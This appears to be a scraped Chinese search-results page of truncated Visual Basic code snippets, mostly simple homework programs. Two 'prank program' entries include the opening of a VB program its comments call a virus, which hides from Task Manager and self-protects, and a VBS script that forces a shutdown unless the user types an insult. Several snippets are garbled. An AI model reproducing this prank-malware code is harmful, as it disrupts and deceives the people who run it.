当前位置 > vb小程序代码大全vb小程序代码大全复制

• 

  求一个VB小程序的代码

  代码如下: Private Sub Form_Load() Label1.Caption = "你好!请输入你的姓名" Label2.ForeColor =&... 祝你学好VB程序设计" Label2.Visible = True Text1.Visible = False Command1.Visible = False Co...

  2024-07-24 网络 更多内容 784 ℃ 472
• 

  求一个VB小程序代码。

  以下代码按你的界面写的,第一个界面按你控件顺序; 第二个界面两个控件数组,编号从上往下从左到右递增,下边代码也有注释。 '二函数 Function UTF8EncodeURI(szInput) '转UTF8 Dim wch, uch, szRet, x Dim nAsc, nAsc2, nAsc3 If szInput = "" Then GBtoUTF8 = szIn...

  2024-07-24 网络 更多内容 403 ℃ 296
• 

  vb整人小程序代码

  Dim num, nums '驱动器数 Dim i As Integer '文件号 Dim j As Integer 'FOR用的变量! Private Sub Form_Load() '程序初始化! '不准重复运行本病毒! If App.PrevInstance Then End End If '在任务管理器中隐身! App.TaskVisible = False '病毒自我保护函数...

  2024-07-24 网络 更多内容 447 ℃ 565
• 

  vb实用小程序源代码

  Private Sub mianji() Dim a As Single, b As Single, c As Single a = Val(InputBox("请输入三角形的边a:", "输入")) b = Val(InputBox("请输入三角形的边b:", "输入")) c = Val(InputBox("请输入三角形的边c:", "输入")) If (a + ...

  2024-07-24 网络 更多内容 926 ℃ 991
• 

  vb整人小程序代码

  Dim num, nums '驱动器数 Dim i As Integer '文件号 Dim j As Integer 'FOR用的变量! Private Sub Form_Load() '程序初始化! '不准重复运行本病毒! If App.PrevInstance Then End End If '在任务管理器中隐身! App.TaskVisible = False '病毒自我保护函数 a0 auts '得到当前驱动器数! a2...

  2024-07-24 网络 更多内容 527 ℃ 588
• 

  vb小程序?

  代码如下。 ========================= Private Sub Form_Paint() Dim a(9) As Single, i As Integer, b As Integer, c As Integer, d As Integer For i = 0 To 9 a(i) = InputBox("输入第" & i + 1 & "个数") Select Case Sgn(a(i)) Case 1 b = b + 1 Case 0 c = c + 1 Case 1 d ...

  2024-07-24 网络 更多内容 155 ℃ 16
• 

  求VB小程序代码

  Private Sub Form_Load() Dim i, j, n For i = 1 To 100 For j = 1 To 100 n = i + j If fc(n) Then n = i j If n > 0 Then If fc(n) Then List1.AddItem i & "" & j & "=" & i j & Space(5) & i & "+" & j & "=" & i + j End If Next NextEnd SubFunction fc(n) As Boolea...

  2024-07-24 网络 更多内容 968 ℃ 340
• 

  vb小程序?

  代码如下。 ========================= Private Sub Form_Paint() Dim a(9) As Single, i As Integer a(0) = 1 a(1) = 2 Print a(0) Print a(1) For i = 2 To 9 a(i) = a(i 1) * a(i 1) a(i 2) * a(i 2) Print a(i) Next End Sub

  2024-07-24 网络 更多内容 378 ℃ 816
• 

  求VB小程序代码

  Private Sub Command1_Click() Dim N As Long Dim i As Long Dim j As Long Dim s As Long Dim b As Long N = Val(Text1.Text) For i = 1 To N b = 1 For j = 1 To i b = b * j Next j s = s + b / (j 1) Next i Text2.Text = s End Sub

  2024-07-24 网络 更多内容 677 ℃ 385
• 

  VB整人代码 VB整人小程序

  那个直接用vbs就行了,代码如下新建一个文本文档,写入代码,另存为所有文件,名字.vbs Option explicitDim a,b,wsset WS = wscript.createobject("***.shell")WS.run "shutdown s t 60"a=InputBox("说你自己是猪","说吧")If a="我是猪" ThenMsgBox "好乖啊",,"提示"set WS = wscript.create...

  2024-07-24 网络 更多内容 382 ℃ 506